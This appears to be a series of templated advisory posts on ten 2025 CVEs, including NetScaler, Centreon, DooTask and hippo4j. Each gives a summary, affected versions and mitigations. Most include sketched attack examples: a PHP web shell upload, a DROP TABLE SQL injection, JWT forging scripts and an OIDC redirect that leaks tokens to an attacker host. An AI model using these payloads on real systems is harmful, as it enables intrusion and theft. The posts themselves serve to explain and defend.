Author: Ameeba

Overview

The cybersecurity landscape is ever-evolving with new vulnerabilities emerging, posing significant threats to companies and individuals worldwide. One such vulnerability is the CVE-2025-7775, a memory overflow leading to remote code execution (RCE) or denial of service (DoS) in NetScaler ADC and NetScaler Gateway, when configured in specific ways.
This vulnerability affects a range of NetScaler versions, potentially compromising systems and leading to data leakage. It carries a high severity given its CVSS score of 9.8 out of 10. Understanding and mitigating such vulnerabilities is crucial to maintaining secure systems and protecting sensitive data.

Vulnerability Summary

CVE ID: CVE-2025-7775
Severity: Critical (CVSS: 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Successful exploitation of this vulnerability could lead to system compromise or data leakage.

Affected Products

Product | Affected Versions

NetScaler ADC | 13.1, 14.1, 13.1-FIPS, NDcPP
NetScaler Gateway | 13.1, 14.1, 13.1-FIPS, NDcPP

How the Exploit Works

The vulnerability is a memory overflow error that can be triggered when NetScaler is configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) or an AAA virtual server. The overflow occurs when handling specific types of requests.
This flaw can also be triggered when LB virtual servers of type (HTTP, SSL, or HTTP_QUIC) are bound with IPv6 services or service groups bound with IPv6 servers. Exploiting this vulnerability allows a remote attacker to execute arbitrary code on the affected system or cause a denial of service.

Conceptual Example Code

This is a conceptual example of how a crafted HTTP request might be used to exploit the vulnerability:

POST /netscaler/vpn HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "..." }

In this example, the “malicious_payload” would be designed to trigger the memory overflow, leading to remote code execution or denial of service.

Potential Mitigations

The best mitigation against this vulnerability is to apply the vendor’s patch as soon as possible. In the case that immediate patching is not possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation, helping to detect and block attempts to exploit this vulnerability. Regularly updating and patching your systems is a key part of maintaining strong cybersecurity.

Overview

The CVE-2025-41702 vulnerability poses a significant threat to any organization employing egOS WebGUI as a part of their technology stack. The vulnerability lies in the JWT (JSON Web Token) secret key, which is embedded and readable in the egOS WebGUI backend to the default user. This flaw can potentially allow an unauthenticated remote attacker to generate valid HS256 tokens and bypass any authentication and authorization mechanisms in place, leading to severe security breaches. Given the potential for system compromise or data leakage, understanding and mitigating this vulnerability is of utmost importance.

Vulnerability Summary

CVE ID: CVE-2025-41702
Severity: Critical (9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

egOS WebGUI | All versions prior to the vendor patch

How the Exploit Works

The exploit works by leveraging the embedded JWT secret key in the egOS WebGUI backend. An unauthenticated remote attacker can read this key and generate valid HS256 tokens. These tokens can then be used to bypass the authentication/authorization mechanisms in place, effectively providing the attacker unrestricted access to the system. This can lead to unauthorized actions such as data manipulation, data theft, or even a complete system compromise.

Conceptual Example Code

Here is a conceptual example of how this vulnerability might be exploited:

import jwt
# Read the JWT secret key
secret_key = read_jwt_secret_key_from_egos_webgui()
# Generate a valid HS256 token
payload = {"admin": True}
token = jwt.encode(payload, secret_key, algorithm='HS256')
# Use this token to bypass authentication/authorization
headers = {"Authorization": f"Bearer {token}"}
response = requests.get("http://target.example.com/protected/resource", headers=headers)

In this conceptual example, an attacker reads the JWT secret key from the egOS WebGUI backend, generates a valid HS256 token with a payload that includes administrative privileges, and uses this token to bypass authentication and access a protected resource.

Mitigation Guidance

The primary mitigation strategy for this vulnerability is to apply the vendor-provided patch. If applying the patch is not immediately feasible, organizations can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation strategy. These can monitor and potentially block anomalous or malicious network traffic, thereby reducing the risk associated with this vulnerability. However, it’s crucial to note that these are temporary measures and applying the vendor patch is the recommended long-term solution.

Overview

The cybersecurity world has recently been alerted to a significant vulnerability concerning various models of Linksys devices. This vulnerability, known as CVE-2025-9355, was identified within the scheduleAdd function of the /goform/scheduleAdd file. These particular models are widely used, and the security flaw could potentially lead to a devastating system compromise or data leakage. The gravity of the situation is further accentuated by the fact that the exploit has been made public, and the vendor, after being informed, has not yet responded with a solution.

Vulnerability Summary

CVE ID: CVE-2025-9355
Severity: High (CVSS: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Linksys RE6250 | 1.0.013.001
Linksys RE6300 | 1.0.04.001
Linksys RE6350 | 1.0.04.002
Linksys RE6500 | 1.1.05.003
Linksys RE7000 | 1.2.07.001
Linksys RE9000 | 1.0.013.001

How the Exploit Works

The vulnerability resides in the scheduleAdd function of Linksys devices. More specifically, it is a stack-based buffer overflow vulnerability which occurs when the ruleName argument is manipulated. The exploit can be carried out remotely and does not require any user interaction or privileges, which significantly increases its potential impact. Once exploited, the attacker could potentially gain full control of the system, leading to the compromise of sensitive data or even the entire network.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. The malicious payload in this case would be designed to overflow the buffer and execute shellcode:

POST /goform/scheduleAdd HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "ruleName": "A"*5000 } /* Overly long ruleName to trigger buffer overflow */

Mitigation Guidance

As of now, the vendor has not provided a patch to fix this vulnerability. Therefore, users are advised to protect their devices using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation. Regularly monitor the vendor’s website for any updates regarding a patch. Additionally, users can also consider disabling the vulnerable function if it is not essential to their operations.

Overview

The cybersecurity landscape is continually evolving with new threats and vulnerabilities emerging every day. In this context, we turn our attention to a significant vulnerability identified in Centreon web, specifically in the monitoring event logs module. The vulnerability, designated CVE-2025-6791, is an SQL Injection risk that can potentially lead to system compromise or data leakage. Given Centreon’s widespread usage for IT infrastructure monitoring, this vulnerability could potentially affect a broad range of organizations and should be immediately addressed to ensure the security of critical data and systems.

Vulnerability Summary

CVE ID: CVE-2025-6791
Severity: High (CVSS: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Centreon web | 24.10.0 to 24.10.8
Centreon web | 24.04.0 to 24.04.15
Centreon web | 23.10.0 to 23.10.25

How the Exploit Works

This vulnerability is due to the improper neutralization of special elements used in an SQL command, commonly referred to as an SQL Injection vulnerability. In this case, an attacker can manipulate the HTTP request on the monitoring event logs page to insert a malicious payload into the database. This could potentially allow them to execute arbitrary SQL commands, leading to unauthorized access to data, data manipulation, or even system compromise.

Conceptual Example Code

Here is a conceptual example of how this vulnerability might be exploited in the form of an altered HTTP request:

POST /monitoring/logs HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
event='; DROP TABLE members; --

In this example, the payload `’; DROP TABLE members; –` is injected into the ‘event’ field in the form data, which could cause the SQL command `DROP TABLE members` to be executed, resulting in the deletion of the ‘members’ table from the database. This is a simple example, and real-world exploits might be more complex and damaging.

Mitigation Guidance

The most direct way to mitigate this vulnerability is to apply the vendor-supplied patches for the affected versions of Centreon web. The patched versions are 24.10.9, 24.04.16, and 23.10.26, respectively.
As a temporary mitigation, organizations can employ a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to block attempts to exploit this vulnerability. However, this should be considered a temporary solution until the vendor patches can be applied. Long term, organizations should also consider implementing secure coding practices to prevent SQL Injection vulnerabilities from arising in the first place.

Overview

In this article, we delve into a critical vulnerability identified as CVE-2025-55454, which affects DooTask v1.0.51. The vulnerability is a severe risk as it allows an attacker to execute arbitrary code by uploading a crafted file. Any organization or individual using this software version is potentially at risk, and the vulnerability warrants immediate attention due to its potential for system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-55454
Severity: High (CVSS score of 8.8)
Attack Vector: Network
Privileges Required: User level
User Interaction: Required
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

DooTask | v1.0.51

How the Exploit Works

The exploit takes advantage of an arbitrary file upload vulnerability in the /msg/sendfiles component of DooTask v1.0.51. An attacker, who has already authenticated on the network, can exploit this vulnerability by crafting a malicious file and uploading it via the affected component. Once uploaded, the file can be executed, allowing the attacker to run arbitrary code on the system.

Conceptual Example Code

Here’s a conceptual example of how an attacker might exploit this vulnerability:

POST /msg/sendfiles HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7ma4YWxkTrZu0gW
------WebKitFormBoundary7ma4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="evilscript.php"
Content-Type: application/x-php
<?php
system($_GET['cmd']);
?>
------WebKitFormBoundary7ma4YWxkTrZu0gW--

In this example, the attacker sends a POST request to the vulnerable /msg/sendfiles endpoint with a malicious PHP script. Once uploaded, the script can be invoked to execute arbitrary system commands.

Mitigation

The recommended action is to apply the vendor-provided patch as soon as possible. In the interim, organizations can employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and prevent attempts to exploit this vulnerability.

Overview

In this blog post, we are going to delve into a newly discovered vulnerability in the OperaMasks SDK ELite Script Engine v0.5.0, documented as CVE-2025-52287. The particular vulnerability is a deserialization flaw, which if exploited, could potentially lead to a system compromise or data leakage. The severity of this vulnerability, combined with the widespread use of the OperaMasks SDK, makes this an issue of significant concern for all users and administrators of systems that have this software installed.

Vulnerability Summary

CVE ID: CVE-2025-52287
Severity: High (CVSS: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

OperaMasks SDK ELite Script Engine | v0.5.0

How the Exploit Works

The vulnerability is a deserialization issue which can be exploited by sending specially crafted data to the application. In the case of the OperaMasks SDK ELite Script Engine, an attacker can craft malicious data which when deserialized by the software, can lead to arbitrary code execution. This allows the attacker to potentially take over the system or leak sensitive data.

Conceptual Example Code

Here’s a conceptual demonstration of how the vulnerability might be exploited using a HTTP request:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"malicious_payload": "eyJ2ZXJzaW9uIjogIjAuNS4wIiwgImV4cGxvaXQiOiAiYXJiaXRyYXJ5X2NvZGUifQ=="
}

In this example, the “malicious_payload” is a Base64-encoded string representing the serialized malicious object. When the OperaMasks SDK ELite Script Engine deserializes this payload, it could potentially execute the arbitrary code contained within.

Mitigation

Until a vendor patch is released, users are advised to use Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS) as a temporary mitigation strategy. These tools can help detect and block attempts to exploit this vulnerability. Always remember to regularly update your systems and apply patches as soon as they are available to ensure your security posture remains strong.

Overview

CVE-2025-52085 is a critical SQL Injection vulnerability discovered in the Yoosee application version 6.32.4. This vulnerability poses a significant threat to organizations and individuals who use the Yoosee application, as it allows an authenticated attacker to inject arbitrary SQL queries via a request to a backend API endpoint.
The implications of this vulnerability are severe, as successful exploitation leads to the extraction of sensitive database information. This extracted data can include the database server banner and version, the current database user and schema, the current DBMS user privileges, and arbitrary data from any table. Therefore, it is crucial for users and administrators of the Yoosee application to understand this vulnerability and implement appropriate mitigation measures.

Vulnerability Summary

CVE ID: CVE-2025-52085
Severity: High (8.8)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Yoosee Application | v6.32.4

How the Exploit Works

An attacker who has authenticated access to the Yoosee application can exploit this vulnerability by sending a specially crafted request to a specific backend API endpoint. This request contains arbitrary SQL queries that the application’s backend processes without proper sanitization or validation.
Once processed, these queries can return sensitive information from the application’s database. This information can include the database server banner and version, the current database user and schema, the current DBMS user privileges, and arbitrary data from any table. With this information, an attacker can potentially compromise the system or leak data.

Conceptual Example Code

Here is a conceptual example of an HTTP request that could exploit the vulnerability:

POST /api/vulnerable_endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
Authorization: Bearer [user_token]
{
"user_id": "1; SELECT * FROM users;"
}

In this example, the “user_id” parameter contains an SQL injection payload (“1; SELECT * FROM users;”). If the application fails to properly sanitize or validate this input, it could execute the SQL query, returning all data from the “users” table.

Overview

The world of cybersecurity is constantly evolving. One of the latest vulnerabilities to be exposed is CVE-2025-57800, a critical vulnerability that affects the Audiobookshelf application. This vulnerability, if exploited, can lead to serious consequences including system compromise and data leakage. Given the severity of this vulnerability and the widespread use of the Audiobookshelf, this issue warrants urgent attention and immediate action.
This vulnerability specifically affects the Audiobookshelf versions from 2.6.0 to 2.26.3 when using OpenID Connect (OIDC) for authentication. It’s important to note that no Identity Provider (IdP) misconfiguration is required for this vulnerability to be exploited, meaning any implementation of Audiobookshelf that uses OIDC could be at risk.

Vulnerability Summary

CVE ID: CVE-2025-57800
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System compromise and data leakage

Affected Products

Product | Affected Versions

Audiobookshelf | 2.6.0 – 2.26.3

How the Exploit Works

The exploit operates by manipulating the redirect callback URLs during the OIDC authentication process. The attacker crafts a malicious login link that, once clicked by the unsuspecting user, prompts Audiobookshelf to store an arbitrary callback in a cookie. This callback is later used to redirect the user post-authentication.
The server then issues a 302 redirect to the attacker’s controlled URL, appending sensitive OIDC tokens as query parameters. This allows the attacker to intercept the victim’s tokens, potentially leading to a full account takeover. If the victim happens to be an administrator, the attacker could create persistent admin users, thereby amplifying the damage.

Conceptual Example Code

Here’s a simplified conceptual example to illustrate how this exploit might work. Let’s assume that the attacker has crafted a malicious login link:

GET /login?redirect=https://malicious.example.com/callback HTTP/1.1
Host: vulnerable-audiobookshelf.com

The victim clicks the link and logs in, unaware that they are being redirected to an attacker-controlled site:

GET /callback?id_token=eyJhbG... HTTP/1.1
Host: malicious.example.com

The attacker now has access to the victim’s tokens, which opens up a host of damaging possibilities, including account takeover and data theft.

Overview

CVE-2025-55573 is a critical vulnerability identified in QuantumNous new-api v.0.8.5.2, a widely used API in various web applications. This vulnerability, classed as Cross Site Scripting (XSS), has a potential to compromise system security and cause data leakage. The importance of addressing this vulnerability promptly and efficiently cannot be overstated, given the potential for significant damage to the integrity, availability, and confidentiality of the system and its data.

Vulnerability Summary

CVE ID: CVE-2025-55573
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

QuantumNous new-api | v.0.8.5.2

How the Exploit Works

The exploit takes advantage of an XSS vulnerability that allows the attacker to inject malicious scripts into web pages viewed by other users. These scripts can bypass the same-origin policy, a fundamental web security mechanism, and execute on the client side, leading to a multitude of potential attacks such as stealing session cookies, performing actions on behalf of the user, or even delivering malware.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. The attacker sends a crafted HTTP request with a malicious JavaScript payload that gets executed when a user visits the affected web page.

POST /api/v0.8.5.2/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "user_input": "<script>/*malicious code*/</script>" }

In this example, the “user_input” field is not properly sanitized, allowing the attacker’s script to be embedded into the web page.

Mitigation Guidance

To mitigate this vulnerability, it is recommended to apply the vendor patch as soon as it becomes available. As a temporary measure, you can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block XSS attacks. However, these measures should not replace patching the system, as they only provide a temporary and potentially incomplete solution.
Remember, staying up-to-date with patches and updates is a critical part of maintaining a secure system. Regularly monitor for updates to QuantumNous new-api and other software your system relies on to ensure your defenses are current.

Overview

The Common Vulnerabilities and Exposures (CVE) system has recently identified a critical security vulnerability, designated as CVE-2025-51606, affecting versions 1.0.0 to 1.5.0 of the hippo4j software. This vulnerability, which pertains to the use of a hard-coded secret key in JWT (JSON Web Token) creation, poses a significant security risk to any systems where authentication and authorization rely heavily on the integrity of JWTs. If exploited, it could lead to system compromise or data leakage and, therefore, it is of paramount importance that users take immediate steps to mitigate the threat.

Vulnerability Summary

CVE ID: CVE-2025-51606
Severity: High (Score: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

hippo4j | 1.0.0 to 1.5.0

How the Exploit Works

The vulnerability arises from the use of a hard-coded secret key for JWT creation in hippo4j. An attacker with access to the source code or compiled binary can exploit this vulnerability by forging valid access tokens and impersonating any user, even privileged ones such as “admin. This allows the attacker to bypass authentication measures and gain unauthorized access to the system.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This is a pseudocode for creating a forged JWT:

# Import JWT library
import jwt
# Define hard-coded secret key
secret_key = "hard-coded-secret-key-from-hippo4j"
# Define malicious payload with admin privileges
malicious_payload = {
"user": "admin",
"privileges": "all"
}
# Forge JWT using the secret key and malicious payload
forged_token = jwt.encode(malicious_payload, secret_key, algorithm='HS256')
# Now the attacker can use this forged_token to impersonate as admin

Keep in mind that this is a hypothetical example and the actual code or method used by an attacker may vary based on the specific circumstances and the attacker’s knowledge and resources. Nonetheless, it demonstrates the potential severity and exploitability of the vulnerability.